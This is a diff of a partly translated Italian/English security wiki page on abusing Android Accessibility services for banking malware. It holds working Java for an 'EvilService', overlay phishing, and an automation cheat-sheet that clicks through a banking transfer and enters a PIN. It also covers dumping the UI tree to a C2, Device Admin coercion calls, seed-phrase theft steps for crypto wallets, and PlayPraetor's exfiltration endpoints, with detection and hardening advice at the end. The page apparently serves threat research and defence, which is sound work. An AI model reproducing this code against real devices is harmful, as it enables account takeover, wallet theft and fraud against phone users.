-3. Esfiltrare dati o eseguire **On-Device-Fraud (ODF)** in tempo reale mentre l'utente guarda uno schermo perfettamente normale.
+* catturare ogni evento UI e il testo che appare sullo schermo,
+* iniettare gesture sintetiche (`dispatchGesture`) e azioni globali (`performGlobalAction`) per automatizzare qualsiasi operazione desiderata dall'operatore,
+* disegnare overlay a schermo intero sopra app legittime usando il tipo di finestra **TYPE_ACCESSIBILITY_OVERLAY** (nessun prompt `SYSTEM_ALERT_WINDOW`!),
+* concedere silenziosamente permessi runtime aggiuntivi cliccando sulle finestre di dialogo di sistema per conto della vittima.
+3. Esfiltrare dati o eseguire **On-Device-Fraud (ODF)** in tempo reale mentre l'utente osserva uno schermo perfettamente normale.

 ---

-## Requesting the permission
+## Richiedere il permesso
 ```xml
 <!-- AndroidManifest.xml -->
 <service
@ -34,7 +34,7 @@ android:exported="false">
 android:resource="@xml/evil_accessibility_config"/>
 </service>
 ```
-Il file XML di accompagnamento definisce come apparirà la finestra di dialogo falsa:
+L'XML associato definisce come apparirà la finestra di dialogo falsa:
 ```xml
 <?xml version="1.0" encoding="utf-8"?>
 <accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
@ -47,7 +47,7 @@ android:canRetrieveWindowContent="true"/>
 ```
 ---

-## Primitivi di automazione UI remota
+## Primitive di automazione remota dell'interfaccia utente
 ```java
 public class EvilService extends AccessibilityService {
@Override
@ -68,17 +68,17 @@ dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, nul
 }
 }
 ```
-Con solo queste due API, un attaccante può:
-* Sbloccare lo schermo, aprire l'app bancaria, navigare nell'albero dell'interfaccia utente e inviare un modulo di trasferimento.
-* Accettare ogni dialogo di autorizzazione che appare.
-* Installare/aggiornare APK extra tramite l'intento del Play Store.
+Con sole queste due API un attaccante può:
+* Sbloccare lo schermo, aprire l'app bancaria, navigare l'albero dell'interfaccia utente e inviare un modulo di trasferimento.
+* Accettare ogni dialogo di permesso che compare.
+* Installare/aggiornare APK aggiuntivi tramite l'intent del Play Store.

 ---

 ## Modelli di abuso

-### 1. Overlay Phishing (Raccolta di credenziali)
-Un `WebView` trasparente o opaco viene aggiunto al gestore delle finestre:
+### 1. Overlay Phishing (Credential Harvesting)
+Un `WebView` trasparente o opaco viene aggiunto al window manager:
 ```java
 WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
 MATCH_PARENT, MATCH_PARENT,
@ -87,40 +87,40 @@ FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL,       // touches still reach the real
 PixelFormat.TRANSLUCENT);
 wm.addView(phishingView, lp);
 ```
-La vittima digita le credenziali nel modulo falso mentre l'app in background riceve gli stessi gesti – non viene mai mostrato alcun avviso sospetto "disegna sopra altre app".
+La vittima digita le credenziali nel form fasullo mentre l'app in background riceve gli stessi gesti – non viene mai mostrato il sospetto prompt "draw over other apps".

-> Esempio dettagliato: la sezione *Accessibility Overlay Phishing* all'interno della pagina Tapjacking.
+> Detailed example: the *Accessibility Overlay Phishing* section inside the Tapjacking page.

-### 2. Automazione della frode su dispositivo
-Famiglie di malware come **PlayPraetor** mantengono un canale WebSocket persistente dove l'operatore può emettere comandi di alto livello (`init`, `update`, `alert_arr`, `report_list`, …). Il servizio traduce questi comandi nei gesti di basso livello sopra, ottenendo transazioni non autorizzate in tempo reale che aggirano facilmente l'autenticazione a più fattori legata a quel dispositivo.
+### 2. On-Device Fraud automation
+Famiglie di malware come **PlayPraetor** mantengono un canale WebSocket persistente dove l'operatore può inviare comandi di alto livello (`init`, `update`, `alert_arr`, `report_list`, …). Il servizio traduce quei comandi nei gesti a basso livello descritti sopra, realizzando transazioni non autorizzate in tempo reale che bypassano facilmente la multi-factor-authentication legata a quel dispositivo.

-### 3. Streaming e monitoraggio dello schermo
-Combinando l'**API MediaProjection** con una libreria client RTMP, il RAT può trasmettere il framebuffer live a `rtmp://<c2>:1935/live/<device_id>`, dando all'avversario una perfetta consapevolezza situazionale mentre il motore di Accessibilità gestisce l'interfaccia utente.
+### 3. Screen streaming & monitoring
+Combinando la **MediaProjection API** con una libreria client RTMP, il RAT può trasmettere il framebuffer live a `rtmp://<c2>:1935/live/<device_id>`, fornendo all'avversario perfetta consapevolezza situazionale mentre il motore Accessibility controlla l'UI.

 ---

-## PlayPraetor – flusso di comando e controllo
+## PlayPraetor – command & control workflow

-1. **Heartbeat HTTP(S)** – iterare su un elenco hard-coded fino a quando un dominio risponde `POST /app/searchPackageName` con il C2 attivo.
-2. **WebSocket (porta 8282)** – comandi JSON bidirezionali:
-* `update` – inviare nuove conf/APK
-* `alert_arr` – configurare modelli di overlay
-* `report_list` – inviare l'elenco dei nomi dei pacchetti mirati
+1. **HTTP(S) heartbeat** – iterare su una lista hard-coded finché un dominio risponde `POST /app/searchPackageName` con il C2 attivo.
+2. **WebSocket (port 8282)** – comandi JSON bidirezionali:
+* `update` – push di nuove conf/APK
+* `alert_arr` – configurare template di overlay
+* `report_list` – inviare lista di package name target
 * `heartbeat_web` – keep-alive
-3. **RTMP (porta 1935)** – streaming live di schermo/video.
-4. **Esfiltrazione REST** –
-* `/app/saveDevice` (impronta)
+3. **RTMP (port 1935)** – streaming live dello schermo/video.
+4. **REST exfiltration** –
+* `/app/saveDevice` (fingerprint)
 * `/app/saveContacts` | `/app/saveSms` | `/app/uploadImageBase64`
-* `/app/saveCardPwd` (credenziali bancarie)
+* `/app/saveCardPwd` (bank creds)

-Il **AccessibilityService** è il motore locale che trasforma quei comandi cloud in interazioni fisiche.
+The **AccessibilityService** è il motore locale che trasforma quei comandi cloud in interazioni fisiche.

 ---

-## Rilevamento di servizi di accessibilità malevoli
+## Detecting malicious accessibility services

 * `adb shell settings get secure enabled_accessibility_services`
-* Impostazioni → Accessibilità → *Servizi scaricati* – cercare app che **non** provengono da Google Play.
+* Settings → Accessibility → *Downloaded services* – cercare app che **non** provengono da Google Play.
 * Le soluzioni MDM / EMM possono imporre `ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY` (Android 13+) per bloccare i servizi sideloaded.
 * Analizzare i servizi in esecuzione:
 ```bash
@ -129,17 +129,104 @@ adb shell dumpsys accessibility | grep "Accessibility Service"

 ---

-## Raccomandazioni di indurimento per gli sviluppatori di app
+## Hardening recommendations for app developers

-* Contrassegnare le viste sensibili con `android:accessibilityDataSensitive="accessibilityDataPrivateYes"` (API 34+).
-* Combinare `setFilterTouchesWhenObscured(true)` con `FLAG_SECURE` per prevenire il dirottamento di tap/overlay.
-* Rilevare overlay interrogando `WindowManager.getDefaultDisplay().getFlags()` o l'API `ViewRootImpl`.
-* Rifiutare di operare quando `Settings.canDrawOverlays()` **o** un servizio di Accessibilità non fidato è attivo.
+* Markare le view sensibili con `android:accessibilityDataSensitive="accessibilityDataPrivateYes"` (API 34+).
+* Combinare `setFilterTouchesWhenObscured(true)` con `FLAG_SECURE` per prevenire tap/overlay hijacking.
+* Rilevare overlay interrogando `WindowManager.getDefaultDisplay().getFlags()` o usando l'API `ViewRootImpl`.
+* Rifiutare di operare quando `Settings.canDrawOverlays()` **o** un Accessibility service non trusted è attivo.
+
+---
+
+## ATS automation cheat-sheet (Accessibility-driven)
+Malware può automatizzare completamente un'app bancaria usando solo le Accessibility APIs. Primitive generiche:
+```java
+// Helpers inside your AccessibilityService
+private List<AccessibilityNodeInfo> byText(String t){
+AccessibilityNodeInfo r = getRootInActiveWindow();
+return r == null ? Collections.emptyList() : r.findAccessibilityNodeInfosByText(t);
+}
+private boolean clickText(String t){
+for (AccessibilityNodeInfo n: byText(t)){
+if (n.isClickable()) return n.performAction(ACTION_CLICK);
+AccessibilityNodeInfo p = n.getParent();
+if (p != null) return p.performAction(ACTION_CLICK);
+}
+return false;
+}
+private void inputText(AccessibilityNodeInfo field, String text){
+Bundle b = new Bundle(); b.putCharSequence(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, text);
+field.performAction(ACTION_SET_TEXT, b);
+}
+private void tap(float x, float y){
+Path p = new Path(); p.moveTo(x,y);
+dispatchGesture(new GestureDescription.Builder()
+.addStroke(new GestureDescription.StrokeDescription(p,0,40)).build(), null, null);
+}
+```
+Example flow (Czech → English labels):
+- "Nová platba" (Nuovo pagamento) → clic
+- "Zadat platbu" (Inserisci pagamento) → clic
+- "Nový příjemce" (Nuovo destinatario) → clic
+- "Domácí číslo účtu" (Numero di conto domestico) → metti a fuoco e `ACTION_SET_TEXT`
+- "Další" (Avanti) → clic → … "Zaplatit" (Paga) → clic → inserire PIN
+
+Fallback: coordinate codificate con `dispatchGesture` quando la ricerca testuale fallisce a causa di widget personalizzati.
+
+Also seen: passaggi preliminari per `check_limit` e `limit` navigando nell'UI dei limiti e aumentando i limiti giornalieri prima del trasferimento.
+
+## Pseudo-streaming dello schermo basato su testo
+Per il controllo remoto a bassa latenza, invece di uno streaming video completo, esporta una rappresentazione testuale dell'albero UI corrente e inviala ripetutamente al C2.
+```java
+private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){
+if (n==null) return;
+Rect b = new Rect(); n.getBoundsInScreen(b);
+CharSequence txt = n.getText(); CharSequence cls = n.getClassName();
+sb.append(indent).append("[").append(cls).append("] ")
+.append(txt==null?"":txt).append(" ")
+.append(b.toShortString()).append("\n");
+for (int i=0;i<n.getChildCount();i++) dumpTree(n.getChild(i), indent+"  ", sb);
+}
+```
+Questa è la base per comandi come `txt_screen` (una tantum) e `screen_live` (continuo).
+
+## Primitive di coercizione Device Admin
+Una volta che un Device Admin receiver è attivato, queste chiamate aumentano le opportunità di catturare credenziali e mantenere il controllo:
+```java
+DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE);
+ComponentName admin = new ComponentName(this, AdminReceiver.class);
+
+// 1) Immediate lock
+dpm.lockNow();
+
+// 2) Force credential change (expire current PIN/password)
+dpm.setPasswordExpirationTimeout(admin, 1L); // may require owner/profile-owner on recent Android
+
+// 3) Disable biometric unlock to force PIN/pattern entry
+int flags = DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
+DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS;
+dpm.setKeyguardDisabledFeatures(admin, flags);
+```
+Nota: la disponibilità esatta di queste policy varia a seconda della versione Android e dell'OEM; verificare il device policy role (admin vs owner) durante i test.
+
+## Pattern di estrazione delle seed-phrase dei wallet Crypto
+Flussi osservati per MetaMask, Trust Wallet, Blockchain.com and Phantom:
+- Sbloccare con PIN rubato (catturato via overlay/Accessibility) o con la password del wallet fornita.
+- Navigare: Settings → Security/Recovery → Reveal/Show recovery phrase.
+- Raccogliere la frase tramite keylogging dei text nodes, secure-screen bypass, o screenshot OCR quando il testo è oscurato.
+- Supportare più locali (EN/RU/CZ/SK) per stabilizzare i selector – preferire `viewIdResourceName` quando disponibile, altrimenti fallback al matching multilingue del testo.
+
+## Orchestrazione NFC-relay
+I moduli Accessibility/RAT possono installare e lanciare un'app NFC-relay dedicata (es. NFSkate) come terza fase e persino iniettare una guida overlay per accompagnare la vittima attraverso i passaggi del relay card-present.
+
+Contesto e TTPs: https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay

 ---

 ## Riferimenti
 * [PlayPraetor’s evolving threat: How Chinese-speaking actors globally scale an Android RAT](https://www.cleafy.com/cleafy-labs/playpraetors-evolving-threat-how-chinese-speaking-actors-globally-scale-an-android-rat)
 * [Android accessibility documentation – Automating UI interaction](https://developer.android.com/guide/topics/ui/accessibility/service)
+* [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats)
+* [GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay)

 {{#include ../../banners/hacktricks-training.md}}